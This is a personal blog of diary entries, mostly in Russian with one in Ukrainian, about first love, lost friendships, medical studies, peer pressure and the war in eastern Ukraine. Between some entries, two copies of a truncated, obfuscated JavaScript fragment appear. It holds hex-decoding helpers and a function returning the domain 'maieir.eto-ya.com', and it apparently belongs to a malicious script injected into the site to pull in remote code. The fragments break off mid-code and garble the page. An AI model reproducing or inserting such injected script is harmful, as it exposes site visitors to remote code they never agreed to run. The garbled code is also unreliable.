Всё или ничего?
Мысли.. прекрасное средство для самобичевания.. чем больше их, тем тяжелее, чем больше в твоём сознании возникает вопросов без ответов, тем твоя жизнь становиться более загруженной и проблемной. Для меня проблемная жизнь началась после лета 2017 года. Почему именно тогда? потому что я познала «любовь». Слишком поздно? Да, в 21 довольно поздно, но теперь я понимаю, что значит сходить с ума по этому человеку, лезть на стену от незнания где он и что с ним, ревновать, сжимать зубы до свода челюсти, биться кулаками об стену до крови, но при этом мило улыбаться друзьям, что всё прекрасно, у меня нет проблем, у меня нет времени на всё это. Врать самой себе. Хуже этого ничего нет. Самообман, что он мне не нужен, что моя жизнь и без него прекрасно сложиться, что 9 лет общения ничего не значат и что жизнь, хочу я этого или нет, идёт вперед. Знать, что, возможно, я никогда больше так не полюблю. Я помню как всё это началось. Это безобидное общение с простого «привет». Я это помню и от этого ещё больнее. Помню как в «вконтакте» завела «семейку» (что на тот момент было очень модно у малолеток), как он идеально вписался в неё, став мне братом по интернету, да и по духу. На тот момент я знала, ну по крайней мере уверяла себя, в том что никогда не встретимся, что это тот человек, которому я могу всё рассказывать, потому что на тот момент уже познала неудачи в общении с парнем, который увидев моё фото зачмырил меня хуже некуда, уже тогда я начала сидеть на фэйковой странице, лазить на всевозможных пабликах о несчастной любви и самоутверждении, а и конечно увлекаться сёдзе, в котором девочки стойкого характера встречали хамовитого парня,прЫнца, который им помогал в любых обстоятельствах и влюблялись в него по уши. Да, всё это было пройдено.
Помню, как впервые его приревновала… я не помню, что это была за девушка, хотя догадываюсь, но это было на уровне детского обладания какой-то игрушкой. Я просто не могла понять, что парень, который мне приятен в общении может меня бросить, или рассказать о своей девушке. Я просто не хотела его делить с кем бы то ни было, хотя прекрасно понимала, что он очень далеко, что, опять таки, мы никогда не встретимся, что мы просто «интернет-друзья».
Пишу сейчас об этом всём и улыбаюсь.. да, как же много я познала «впервые» с этим человеком, особенно в эмоциональном плане. Тяжело сейчас осознавать, что я ищу поводы, что бы не писать, ищу какие-то отмазки, что бы лишний раз не беспокоить его, понимаю, что веду себя как конченная дура, что своим «сделать лучше» делаю лишь больнее.
Знаешь, я не уверена, что когда-либо ты это прочтешь, что я разрешу тебе это прочитать, скидывать то я тебе это уж точно не буду, но спасибо тебе, за то что ты делаешь и делал для меня. Спасибо за поддержку и прости, что я так с тобой поступаю, да звучит слишком сопливо, но мне правда жаль. Я не вижу нашего будущего. Возможно, его и нет на самом деле. Ты не хочешь ждать, я не могу сделать шаги из-за причин (да, я знаю пословицу про «… ищет только оправдание»). Но я — бедная студентка без денег, без возможности, со страхом. Да, я такая и понимаю, что тебе это всё надоело. Я не готова тебя отпустить, но чувствую, что скоро придется. Если после этого я ещё буду разговаривать с людьми, значит всё в порядке. Но для тебя в любом случае у меня будет один и тот же ответ «Всё нормально». Правда, не волнуйся. Это же я. Мне внутри всё также 14, когда мы впервые серьезно поссорились. Помнишь ли ты это? Как тогда мне рассказали о твоей жизни со стороны? Помнишь? Хорошо, что ты не можешь почувствовать на самом деле что происходит в моей душе. Хорошо, что ты делаешь выводы из моих поступков. Я понимаю, что промениваю тебя сейчас на учёбу, что в принципе ужасно, что ты этого не заслуживаешь, но во мне борется карьеристка и твоя любимая жена. Твоё предложение было одним из самых счастливых моментов в моей жизни. Твой приезд. Заезд. Мой День рождения. Весёлое выселение. Разговоры. Прогулки. Всё это я буду помнить всю мою жизнь. Я была счастлива. Искренне счастлива. Но счастлива ли я сейчас? Нет. Я готова тебе кричать, что бы ты забрал меня отсюда. Навсегда. Что мы будем счастливы. Но потом я вспоминаю, что я никто. У меня ничего нет. Только мечта, к которой я и иду сейчас. Потерять что либо будет очень больно. Ты или моя мечта. Я хочу оставить вас. Хочу что бы вы оба остались в моей жизни. Хочу доказать, прежде всего, самой себе, что я смогу, что я достигну, что я дойду. В моих стремлениях давным-давно никто не отыгрывает основную роль. Не сейчас. Перестанешь ли ты этим манипулировать? Зная тебя — нет. Ты хочешь сделать мне больно в ответ на твою боль. Я понимаю. И принимаю, но до поры. Ты же тоже знаешь меня, что я терплю долго, но в один момент просто тихо ухожу, да спустя какое-то время я возвращаюсь, но могу ведь и не вернутся.
Я долгое время боялась признаться, что действительно люблю тебя, что дорожу тобой и боюсь потерять, но после осознания стало лишь хуже. Я постоянно о тебе думаю. Постоянно. Это сводит меня с ума. Если бы ты был рядом я была бы сталкером, ревнивой истеричкой, контролирующей каждый твой шаг. Я бы закрывалась бы с тобой в квартире и выключала все телефоны, что бы никто не мешал мне наслаждаться тобой. Как же много я хочу тебя сказать и как мало говорю на самом деле. Как же от этого больно…
Мысли… прекрасное средство для самобичевания…
…Моя думка…
Дуже важко зараз сказати коли саме це почалося.. коли саме я почала аналізувати свої помилки та коли я зрозуміла що і у моєму житті нарешті повинно з’явитися волонтерство.
Досі не могу зрозуміти чому саме на українській мові вирішила написати (бо завжди писала лише на російській), але як нещодавно сказав один мій знайомий: «Таня з нами, але ще не наша».. ці слова, можливо б, і нічого для мене не означали, але ця людина…він задів мене за живе… бо сам побував у пеклі..у пеклі війни, яка, на жаль, зараз має умовну назву АТО.
Дуже важко взагалі писати про все те що хлопці нам розповіли, але ще важче уявити собі про що вони промовчали. Я не хочу зараз сказати про владу, про інформативну війну, про родичів та друзів, які вважають тепер мене наймичкою у влади, хохлушкою та ще багато чого, що я вже встигла вислухала на свою адресу, я хочу сказати про тих людей, які захищають свою родину, своїх близьких, друзів, Батьківщину. Багато з них, я впевнена, захищають лише саму ідею у мирне майбуття, мені цікаво що саме захищає протилежна сторона. Що саме там роблять буряти, чеченці і т.д.? За яку ідею вони воюють? За людей Луганська та Донецька? Навіть якщо і так, то навіщо вони їх грабують забираючи останнє у нещасних пенсіонерів, навіщо б’ють чоловіків, коли ті намагаються заробити копійку для своєї сім’ї та нарешті останнє питання навіщо вони ґвалтують жінок? Це такий спосіб допомоги та захисту? Можливо, керуються вони відповіддю: «Что б хохлятские солдаты не отобрали»? Це взагалі маячня. Хоча послухав російське телебачення я вже нічому не можу дивуватися.
А чи замислювалися ви над цими цифрами що кожного дня кажуть нам с телебачення? Кожного дня у новинах я чую, що у зоні проведення антитерористичної операції загинуло 2,3,4,5… хлопців і енна кількість хлопців поранена. Деякі мої знайомі чуючи ці цифри почали вже казати ой, щось мало сьогодні, дивно. Люди, схаменіться! Ці цифри це життя хлопців, які були готові віддати все за твою долю, за те щоб ти зміг сьогодні прокинутися, він був готовий попрощатися зі своєю родиною за тебе. Це важливо для осмислення. Дуже. Шкода тільки не всі це розуміють, або тільки не хочуть зрозуміти.
Мабуть, я дуже багато дивуюся з простого людського егоїзму, але аналізуючи всю ситуацію у нашій країні хочу низько вклонитися тим хлопцям, що вирішили нас захищати, свою родину, друзів, знайомих, дякую тим, кому навіть задля цього потрібно було втекти з дому…знаєте, я дуже сподіваюся, що рано чи пізно я таки стану вашою..)
About_социум
Хотелось бы сегодня в который уже раз обсудить проблему столь обыденную для каждого 
из нас, как влияние социума на личность, как на биологическую, так и социальную. Может ли общество изменить наш тип темперамента? А характер? Возможно, жизненные принципы меняются под его воздействием?
Хочу сказать, что люди, почти все умеют, как и хамелеон, отлично приспосабливаться к окружению пренебрегая своим темпераментом, мировоззрением, предпочтениями. Хотите возразить? Можете попробовать. Возможно, одним из ваших аргументов будет: «Я не такой!» Ну что же, я уверена, что каждый так скажет в свою защиту, но смотря со стороны, то даже самый заядлый холерик-экстраверт в обществе флегматиков и меланхоликов превратится в холерика-интроверта. А в обществе, где твоим мнением пренебрегают разве не начнешь ли ты сам его меньше выражать? Кричать и стучаться в закрытую дверь? Рано или поздно это надоедает каждому. Да, это несправедливо, нечестно и некрасиво, но ничего не остаётся кроме как принять. Ломится в комнату куда для тебя дверь всегда закрыта? Уверен? Со временем ты всё равно поймёшь всю нелепость своих поступков. К тому же есть ли смысл ломится в одну дверь имея право выбора и видя перед собой тысячи открытых? Слишком много риторических вопросов, которые лично для меня возникли вчера вечером в компании моих одногруппников. Понимая, что я лицемерю перед ними, что бы, как вор ворваться в их дверь я сама не готова была принять то, что передо мной могут просто напросто закрыть дверь (причём это далеко не в переносном значении, к сожалению). Моя странная и старая привычка улыбаться на все проблемы и неудачи дала сбой. Возможно это лишь из-за нервов или из-за выпитого алкоголя? Но, я вывернулась вчера просто наизнанку. Слёзы текли по щекам не переставая. Я не могла себя остановить. Как же я хотела не показывать такую себя, но к сожалению, это произошло. Сейчас чувствую себя беззащитной и не знаю, как реагировать на их слова, закрыться ещё больше или же напротив открыться полностью? Сколько бы не задавала этот вопрос, но для себя знаю ответ и он, к сожалению, не «открыться». Да это и не удивительно, в современном мире можно доверять только себе. Я хотела бы, что бы в моей жизни был человек, который не осудит за мои поступки, поможет и поддержит, но пока такого не произошло, а после потери 3 подруг полностью и бесповоротно это лишь доказывает мои убеждения, о: «Полагаться можно лишь на себя». Да, я далеко не идеал дружелюбия, но зачем вчера нужно было так выдворять меня за дверь фактически с человеком, которого я мягко говоря недолюбливаю, зачем нужно было игнорить меня, когда я ревела на том подоконнике или весь вечер даже не пытаться со мной поболтать и посмеяться со мной, как это делали практически все девчонки,м? Ты стесняешься меня? Тебе комфортно общение со мной лишь по дороге на учёбу? Я не понимаю. Ты хочешь показать себя перед «братьями по имени»? Их влияние так важно для тебя? Если ты не хочешь со мной общаться скажи просто это мне в лицо, я всё пойму, не беспокойся так за меня. Поверь, я переживу ещё одну потерю. Будет тяжело, как и всегда, но я займу себя чем-то. Будь честна со мной.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "maieir.eto-ya.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
…Новая страница…
Как то выходит, что записи я добавляю по мере происхождения в моей жизни важных и значимых происшествий)
Очередная страница моей жизни перевернула. Уже позади гос.практика, выпускные экзамены, выпускной, колледж, месяц работы, поступление, провожание подруг на их места учёбы, посвящение в студенты, притирания в группе, месяц учёбы… всё это уже в прошлом…но сколько смысла в этой строчке простых и ничем не примечательных слов.
Как вспомнить все эти события и эмоции охватывают и накрывают, как волна во время шторма на море.. это было тяжело. Я откровенно говоря думала порой, что не справлюсь, что мой характер проявится и пошлёт всё это к чертям, но теперь я безумно рада всему этому, ведь добилась всего сама, я уже на второй ступеньке к своей мечте. Иногда даже представляю в своих руках этот заветный диплом и это, откровенно говоря, подстёгивает к действиям, хочется учится, стараться, не отступать, да что уж там, если надо будет идти по трупам.
Раньше я считала, что мой жизненный ритм быстр, но теперь понимаю, что набрав темпы в университете он стал просто молниеносным, сон по 3 часа, анатомия, биология, жизненные заботы, изменения в личности, не хватка времени на подруг..всё это происходит, когда поступаешь в медицинский университет. Говорите в сутках 24 часа и не может не хватать? Так вот это ложные предположения. Когда у тебя даже 21 час для учёбы иногда просто не успеваешь. Ты можешь быть не готов, но ты или сломаешься и тихо уйдёшь, либо упрёшься и начнешь подстраиваться под этот темп. Физически ты можешь быть ещё устойчивым, но морально настолько истощён, что хочется просто лечь и лежать. «Учёба? Да она подождёт». Забудь о этих мыслях, ты обязан был быть к этому готов, а если нет — ещё один пинок под зад и пока. Игра ведётся на вылет. Уверен, что ты нужен там, ведь ты поступил, значит умный и что-то знаешь? Наивный. Выбрось эти мысли. Это не школа и даже не колледж тут никакой поддержки не будет. Ты один. Учись справляться со своими проблемами самостоятельно. Студенческая жизнь, тусовки? Может позже, но сейчас хочется поспать лишний час. Со мной уже даже было, что заснула в маршрутке и уехала в городок возле Киева (спасибо водителю маршрутки, что не взял денег за обратную дорогу до моей остановки и постоянно со мной разговаривал, что бы я опять не уснула). Но чувство гордости прямо зашкаливает,когда понимаешь, что как бы тяжело не было, но ты сам поступил, не платил взяток, а сам, своим умом, на контакт? Да какая разница? Поступил же.
Огромную поддержку оказывает так же группа) моя, уже полюбившаяся, 19 группа.. Безумно рада, что оказалась именно в ней. Всю жизнь считала, что тяжело нахожу общий язык с людьми, но в этом году поняла, что с моими одногруппниками можно говорить о любой фигне и не важно когда) Позвонить и начать рассказывать про 31-летнего мужика в 11 ночи? Пффф..да как нефиг петь. Не всем так везёт) Я благодарна, что со мной две девчонки, которые готовы меня выслушать и помочь) Не знаю пока как насчёт подставить плечо в тяжёлые моменты, но думаю они это сделают безостановочно, ведь судя из мелочей они меня выручали уже 100 раз)
Вот так и прошло моё лето и начало осени… Суетливо, нервно, но в тоже время это время принесло в мою жизнь неоценимый опыт (надеюсь на 6 курсе, когда у меня будут спрашивать как проходил твой 1 курс я смогу улыбнуться и ответить — весело).
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "maieir.eto-ya.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
…Mistake…,
Как же сильно мы можем ошибаться в людях.. ну не буду обобщать по крайней мере у меня есть этот дар. Я прямо топчусь по одних и тех же граблях повсеместно и каждодневно…аааа… как же это надоело. А просто тупо не ошибаться вообще никак не могу. Замкнутый круг в котором три звена я, грабли и ошибки.
Друзья для меня очень важны и я достаточно часто пишу о них, что бы потом (случайно проговорившись о этом блоге) мои дети прочли какая я была в их года, но теперь, когда я всё больше теряю и не могу уловить ход мыслей моих якобы друзей я начинаю жалеть, что вообще веду его и не хочу, что бы у детей подобное предательство повторялось (хотя осознаю что этого не избежать никому).
Вчера я поругалась с подругой, при чём которую считала лучшей подругой ( совсем недавно писала о ней кстати), после её слов, в которых говорилось якобы она поняла, что у неё не было друзей за всё 4 года учёбы, я по-настоящему в ней разочаровалась. Как то так истошно стало на душе и я даже не смогла ничего сказать лишь сухое: «Понятно» вырвалось из кричащей от боли души. Печально.. Рассказав об этой ситуации одна девчонка очень здорово сравнила жизнь с путешествием в лифте, говоря о том, что люди выходят лишь в удобный для них момент и если мы хотим их задержать, то задерживаем свой лифт на их этаже и это практически сравнимо с крахом. В принципе, очень удачное сравнение, ведь так оно и есть, если бы сейчас задержала её и приняла бы её условия я бы остановилась пренебрегла своей сущностью (гордая и не идущая на поводу, сама себе на уме) и тупо бы задерживала и её (может её ждёт другой лифт) и себя. Настоящие друзья делают твой лифт фактически своим и едут с тобой до последнего этажа.
Но поссорится из-за такой мелочи как мы..может она лишь искала повод, что бы избавится от меня? Я настолько ужасна? Думаю теперь буду обходить её десятой дорогой… даже противно немного какими люди могут быть двуличными. Ты делаешь всё для них пренебрегая своим временем, ресурсами и деньгами, а в итоге всё как всегда — неблагодарность. Пожалуй вывод из этой ситуации последует очень скоро, а именно когда попаду в новый коллектив (если конечно поступлю в университет, хотя и коллектив работы тоже может считаться).
|…Past, Present & Past again…|
Сейчас просматривая свою далеко забытую страницу я понимаю какой путь прошла, что уже позади, а возможно и осознаю, что ждёт меня впереди.
Маленькая дурёха преувеличивающая значение всего на свете, искренне ценящее каждый миг своей жизни и обожающая своих друзей. Как я была наивна.. на уста мимоходом наплывает улыбка ностальгии, уголки губ мимолетом приподнимаются при этих греющих душу воспоминаниях.
Любопытно, а помнят ли меня люди, которые не так давно говорили, что не смогут без меня обходится, которые давали определенные обещания и уверяли меня, что всегда будут рядом?
Проведя один эксперимент я поняла, что, к сожалению, чудес не бывает и мои виртуальные подруги, которые в определённый момент жизни знали обо мне больше, чем собственные родители совершенно забыли обо мне, да и вспоминать, пожалуй, и не хотят)
Сейчас с высоты (хотя это очень громко сказано) своих лет я могу сказать, что максимализм не привёл меня ни к чему хорошему, заострённое чувство справедливости делает больнее внутреннему состоянию, чем противоположное чувство безразличия.
В классе 7 взрослые мне говорили: «Когда ты вырастешь — ты поймёшь нас, проанализируешь наши решения и примешь их, как единственно правильные. Вскоре ты станешь поступать так же и ничего изменить уже не сможешь, ведь станешь одной из нас». Сейчас я это прекрасно понимаю. Понимаю уроки, которые мне преподнесли, понимаю, какой я была дурочкой и понимаю, что многие сейчас были бы рядом, а не далеко позади — в прошлом. Только сейчас. Слишком поздно, но ведь лучше поздно чем никогда? хах.. до сих пор не могу справится с живущей во мне частичкой оптимиста.
Любопытно, помнит ли обо мне ещё недавно лучшая подруга или же человек благодаря которому я познала первую любовь? Заняла ли я, за время нашего общения, хоть маааленькую частичку их души? Заходят ли они на мою страницу, что бы полюбопытствовать как идут мои дела, или же это лишь я поступаю столь инфантильно? ДА, я повзрослела, но полностью их отпустить… моя внутренняя частичка ребёнка негодует.
Я всем говорю, что у меня настолько недолговечная память, что я практически сразу отбрасываю для запоминания незначительные вещи, но почему же я до сих пор не могу забыть утренние разговоры по пути в школу или же вечные нравоучения, как надо поступать, а как нет, почему я не могу забыть слова утешения, после смерти подруги? Я всё отчётливо помню и как бы не старалась заменить их новыми воспоминаниями они всё равно живут во мне и снова, и снова всплывают в памяти при первом удобном моменте. Возможно, я просто не хочу их забывать или же мне необходимо наконец принять, что это в прошлом?
Но, если рассуждать о потере и приобретениях, то потеряв одну я приобрела троих. Общаясь с инете с тысячами осталась лишь одна готовая ради меня на многое. Потеряв близкого человека я приобрела любимого готового ради меня пренебречь собой и угодить мне.
Чем же я тогда могу быть недовольна? Получается, что я лишь неблагодарна по отношению к собственной жизни? И то, что произошло это напротив счастье, после пережитого в детстве? Разве это не здорово, когда закалив собственный характер в детстве ты можешь уверенно шагнуть во взрослую и юношескую жизнь, а если ты и споткнешься, то ты уверен, что к тебе придут на помощь?
Я задала слишком много риторических вопросов, ответы на которые, естественно, я знаю, но хочу лишь утвердить их.
Сейчас я на границе между юношеской (довольно беззаботной жизни) и взрослой (сложной и полной опасностей) жизнями. Я знаю, чем хочу заниматься в будущем. Я знаю, что у меня есть лучшие друзья, которые как словом так и делом готовые прийти на помощь. Я знаю, что несмотря на все ссоры, недопонимания есть любимый человек, который хотя частенько и выводит меня из себя, но старается всё же соответствовать моим просьбам. Я знаю, что у меня есть любящие и заботящиеся обо мне родители, которые порой и преподают уроки жизни (да что бы побольнее), но этим лишь испытывают мой характер таким образом заботясь о состоянием моей нервной системы в будущем. Я знаю всё это. Я благодарна всем урокам и людям преподавшим их мне. Я счастлива, что пролила все те слёзы и ни об одних не жалею.
Ань, я благодарна тебе за школу, за твои психологические тренинги после слов сказанных в мою сторону, как со стороны одноклассников, так порой и родителей, ты была бы бесподобна в роли психолога, если бы не ты, то на тот момент я бы сломалась, благодарна за моменты летних лагерей ты прекрасно понимала, как мне сложно ладить и знакомится с людьми, спасибо за советы и за доверие, когда ты делилась со мной собственными проблемами, и извини, что вела себя настолько эгоистично желая твоего повседневного и единоличного общения)
Дань, спасибо тебе за прекрасное чувство и что ты вправлял мне мозги, объясняя насколько важно слушаться родителей и не воспринимать их слова в штыки, а лишь как попытку улучшить мою жизнь, за слова утешения, да и вообще я во многом тебе благодарна..сейчас в 18 я понимаю каково тебе было вечно с моими капризами, теперь я понимаю почему ты после очередного моего заявления о приезде тяжело вздыхал, и да ты был прав взрослая жизнь не лёгкая, как мне казалось тогда) надеюсь, мы когда-нибудь увидимся и улыбнёмся друг другу)
Прошлое ведь для того и прошлое, что бы так остаться, мы можем жалеть о произошедшем, но никогда не сможем его изменить, так что я хотела бы поблагодарить и настоящее.
Сейчас я трезво могу оценивать, какой я человек, насколько «слово» изменчиво, ведь им я могу сделать, как больно, так и помочь. Всё же года это опыт и мудрость, так что благодарю моих друзей, которые предоставляют мне оптимальные и комфортабельные условия для получения моего опыта.
Ир, спасибо тебе… сейчас в голове у меня роится огромное количество слов, которые я не смогу тебе сказать, но ты сама прекрасно понимаешь, что ты очень дорогой мне человек. Да, у нас бывают с тобой недосказанности, но я надеюсь, что после каждого конфликта на этой почве мы всё также сможем обсудить, я подуюсь, но при первой удобной возможности мы так же обнимемся я скажу, что ненавижу это, а ты ответишь своё: «Да, да я знаю». Многие изменения, как в моей жизни, так и в мировоззрении только благодаря тебе.. ты поддерживала в трудные моменты, помогала советом и не отворачивалась, когда я поступала, по меньшей мере не достойно. Ты тот человек, который готов приехать в любую минуту и готовый просто обнять, что бы унять мои слёзы.
Николь, Сеструня моя) мы с тобой нашли друг друга при очень ужасном событии, но я уверена, что Машка безумно этого хотела.. Ты тот человек, который готов побить меня при малейшей самокритике, готовый побить любого, кто меня обидит и всегда обосновывающий позицию двух нам знакомых людей безумно понятным всем аргументом, в мою голову иногда даже лезет мысль, что ты бы их побила будь они рядом, особенно, когда я рассказала тебе их реплику: «Она просто лицемерка. Плачет тут, а сама её ненавидела, как и Маша её. Маша никогда её не считала подругой». Ты протянула мне в тот момент руку помощи, которую я просто не смогла не принять после предательства этих двоих. Спасибо тебе, я безумно рада нашей встрече!
Яночка, с недавних пор ты заняла огромное место в моей жизни. я, если честно, даже предположить не могла, что мы начнём с тобой общаться на уровне лучших подруг (хотя может это только я так считаю). Ты тот человек, из-за которого в некоторые моменты я могу забыть о своих собственных эмоциях и вдоволь насладится твоим милым выражением глубочайшей ненависти, передавшейся при разговоре от меня))) Я рада, что наши мысли удачно сошлись и совпали, я безумно благодарна, что ты можешь меня выслушать и понять, принять мою позицию, что ты меня не обвиняешь, а указываешь на неправильные поступки, но потом говоришь, что я поступила правильно, только с тобой я могу перемыть косточки и пожаловаться на всех по полной и потрындеть на часика так 2)
Серёжа, знаешь, откровенно говоря, ко мне никто и никогда так не прислушивался, как ты. Я безумно ценю это и благодарна тебе, что ты принимаешь меня такой, какая я есть.. да порой я хитрая, заносчивая и слишком много требующая стерва (ты может сейчас подумал, что это опять мой максимализм, но подумай сам, кто ещё может тебе высказать все те вещи, как не такой человек). Да, я знаю, что порой (ну а может не порой, а пооочти всегда) требую слишком много, но надеюсь, ты прекрасно осознаешь, что я лишь не хочу, что бы ты прозябал свою жизнь бессмысленно, и мои слова и порой действия (да я люблю дутся и бросать трубку) лишь для твоего блага…только так я могу донести всё, что происходит у меня в голове, в душе и конечно в сердце…
Вы стали для меня самыми родными и любимыми…спасибо вам! И, возможно, то что я сейчас скажу вам прозвучит, вновь, эгоистично с моей стороны, НО НАДЕЮСЬ ВЫ ВСЕГДА БУДЕТЕ СО МНОЙ! И я говорю эти слова ооочень редко но Я ЛЮБЛЮ ВАС!
…Falling in Love…
Как бы много я тут ни писала о влюблённости, о том как хорошо это чувство, но когда оно застало меня я совершенно не знаю, что мне делать, куда бежать и как унять это чувство обеспокоенности, обреченности и близорукости смешанное воедино. Как же люди справляются с ним, с этим ощущением нарастающим с каждым днём лишь больше и больше? Я — довольно уверенная в себе особь, принимающая сама решения и делающая всё, что необходимо без посторонней помощь в данный момент нахожусь просто в кошмаре, в замешательстве и бездействии. Что делать? Что сказать не обидев его? Наверное, хотя какое наверное, а абсолютно точно я слишком зациклилась на всём этом. Необходимо отвлечься! Просто ЖИЗНЕННО необходимо занять себя любимым делом, прочесть книгу и учится. Почему именно сейчас? Чем больше я пытаюсь это логически осмыслить, тем больше у меня возникает вопросов. Даётся в знаки не лучший предыдущий опыт. Но если бы не он, то сейчас я бы не ощутила все эти чувства. Опять причина и следствие. Как же не хочется в очередной раз допустить ошибку, ощутить боль и страдания. Возможно лучше отделаться малой кровью, как говорится? Оттолкнуть и причинить боль сейчас или же, если ничего не выйдет ощутить боль потом в сотни раз сильнее? «Если» ненавистное слово. Чувством нерешенности прямо веет от этого слова. Самое худшее чувство находится в подвешенном состоянии вот именно это слово и является его родоначальником. Может пустить всё на самотёк? Не с моим характер, к сожалению. Голова многое говорит, но что чувствует сердце? Неужели его клетки настолько склерозированы, что им уже всё равно? Если я вообще испытываю всё это значит не всё потеряно. Надо найти решение, а что бы его найти необходимо поговорить. Необходимо открыть дверь, но хватит ли мне уверенности провернуть этот ключ в замочной скважине?
…Possible future…
Рассуждая над необходимостью поддержки извне скажем друзей или семьи даже не понимаю нужна ли она в некоторые моменты жизни. Порой так хочется побыть наедине, окунуться в волнения и проблемы, разобраться, разложить всё по полочкам. Иногда так хочется сбежать от чрезмерной опеки, психонуть, закричать «ХВАТИТ!» и наконец залезть в какой то тёмный уголок, сесть и подумать. Этого очень не хватает, особенно сейчас в суматошном мире. Нет ни единой свободной минуты, но кто в этом виноват? Не ты ли сам? Именно ты не оставил себе времени, когда хочется всегда можна и нужно найти время на приятные милости, ведь жизнь без них очень однообразна и оставлять себя без рассуждений и самоанализа во-первых довольно тупо, а во-вторых не сделав их сейчас позже всё равно они тебя настигнут и будет ли у тебя в будущем больше времени ты не можешь утверждать это. Делать необдуманные поступки.. нужно ли?? хмм.. возможно, но не существенные, на мой взгляд.
Как же хочется разукрасить свою жизнь, но почему сейчас всё настолько однообразно, что хочется вешаться от этой скуки? Рассуждая сейчас о недавнем поступке одного парня думаю, что он своим поступком лишь хотел разукрасить свою жизнь. Печально как то. Разукрасить за счет стёба над другими? Как же это невыносимо глупо и лишь подтверждает насколько он прогнил внутри. Внешность ничего не показывает. Как вообще можно судить человека по внешности? Неужели ты будешь любить лишь оболочку, а как же золотая середина? А как же душа? А как же любимая всем пословица: «Встречают по одежке, а провожают по уму»? Неужели всё это кануло в вихрь прошлого столетия? Нет, не хочется даже верить в это. Хочу возрождения благородства, меньше трёпа, больше поступков. Хах..Слишком многого я хочу одним словом сейчас это практически невозможно встретить достойного человека, не того что идёт и материться на всю улицу, не того, что «засыпает» при виде беременной женщины в метро и уж тем более не эксгибициониста на детской площадке.
Дитя не того века кажется так говорят о таких как я) Хотя в этом веке тоже есть преимущества скажем за знание лечебных функций трав не сажают на кол и не поджигают на костре, больше объяснений о происхождении болезней, знания.. вот главное преимущество этого столетия в сравнении с предыдущими. Но хотят ли все люди нашей планеты получить эти знания? Хотят ли получить знания будущие поколения и передадут ли они их? Всё зависит от воспитания, а какое мы, даже уже наше поколение, может предоставить воспитание без собственного благоразумия, безграмотности и необразованности? Что же мы сможем передать и чему научить?
Что мы сможем сделать не оставив важнейшее, что есть у нас — наше время для самого главного — наших детей? Может многие скажут, что рано сейчас об этом задумываться, ведь эти идеи как правило должны возникать далеко не в 18 летнем мозге, а в зрелом и глубоко понимающем все эти речи. Но если уже сейчас в 18 лет мы не задумаемся о той же простой вещи как выкинуть мусор в бак, а не оставить небрежно валяться его рядом, что же будет дальше? что мы отдадим, оставим и передадим? То же что передали нам наши родители? Землю с залежами радиоактивного стронция после Чернобыля или же расширим дыру в озоновом шаре, увеличим количество кладбищ, что уже не останется места для проживания живых людей или всёразрушающую войну, беспощадную и убийственную? Хотим ли мы что бы всё это видели и переживали наши дети? Хронические всевозможные заболевания, хромосомные заболевания…всё это может их ждать если уже сейчас в наши 18 лет мы не начнем задумываться над своими действиями.
Так что, прошу, оставляйте, хотя бы, час для обдумываний, шевелите своим серым веществом, не давайте вашему мозгу атрофироваться под тяжестью выпитого алкоголя и выкуренных сигарет. Чего вы хотите для ваших детей? Поставьте главные вопросы для себя и действуйте..да, один вы ничего не измените, но посмотрев на вас может ваше близкое окружение переосмыслит, что то также и подобной цепочной реакцией можно уже чего то добиться.
…Continue…
С каким же переменчивым успехом в жизни могут появляться люди? Как же всегда хочется найти того единственного понимающего тебя человека, но с каждым разом находя его он или ускользает не предоставляя попытки на второй шанс или же ты предоставляя основной выбор далеко не сердцу, а мозгу и гордости отталкиваешь его. Стоит ли вообще отталкивать и держать друзей и просто знакомых на расстоянии? Те, которые читают в данный момент это наверняка задумались и примерили свои поступки по отношению к знакомым и друзьям, наверняка большинство сейчас сказали, что друзей естественно необходимо держать ближе, чем простых знакомых, но почему в пословице трактуется всё иным образом: «Держи друзей близко, а врагов ещё ближе»? Наверняка, в данный момент я могу сказать что это так, ведь никто из врагов не ударит ножом в спину, как это сделает прикрывающий, на ваше мнение, тыл друг. К врагу всегда стоят лицом к лицу, принимая все действия и предоставляя не плохую ответку, а вот друзья. Что же делают они?
В моей жизни складывается всё таким образом, что стоит мне только заняться делами, работой или на немного окунуться в учёбу друзья не видя столь бурную мою заинтересованность, как ранее уходят, ну или же отодвигают меня на второй план, ах нет, есть ещё один вариант: не так принимают мои действия, понимая мои действия, как ихнюю ненужность в моей жизни. Все довольно трагично и невозможно глупо.
Почему все моменты в жизни, когда наиболее нужна поддержка я переживаю в одиночестве? Наверное я плохой друг..Вот в чём проблема. Хотя.. нет, не хочу искать себе сейчас оправдание, но многое, конечно же, зависит и от меры взаимопонимания между мной и моими друзьями.
В марте, на первый взгляд совершенно недавно, хотя уже прошло полгода, как знакомы с человеком, приятным в общении, но не успев разглядеть меня под моим панцирем он ушёл. Перед этим дав кучу, теперь уже, ложных надежд, навешав не один таз лапши на уши.
Обида. Единственное чувство поселившееся сейчас в моем сердце и душе. Разбив всё несколькими предложениями он ушел. И я оборвала связи. Почему то всё вновь повторяется. Слёзы, маска с обыденной улыбкой, снова мой панцирь, закрыв всё в глубине я опять прибегаю к крайности зарываясь в учёбу с головой и беря на себя всё больше работы. Нежелание думать обо всём, нежелание что бы обида переросла в ненависть, нежелание разговаривать с ним. Только я забылась, только мне вспомнилась моя прежняя жизнь «ДО» влюблённости как я снова «ПОСЛЕ» вдобавок с кучей комплексов и отключенным мобильным телефоном. Я не желаю больше разговаривать о своей жизни, ни с ним, ни с моими друзьями. Всё что я могу быть хладнокровной старостой у которой в жизни не осталось выбора как быть пай-девочкой и закончить учёбу на «отлично». Гордость и надежда, как у родных так и в колледже. НЕ слишком ли тяжел груз повесили на мои плечи? Как говорится: «Судьба не предоставляет нам тех испытаний, которые мы не сможем преодолеть».
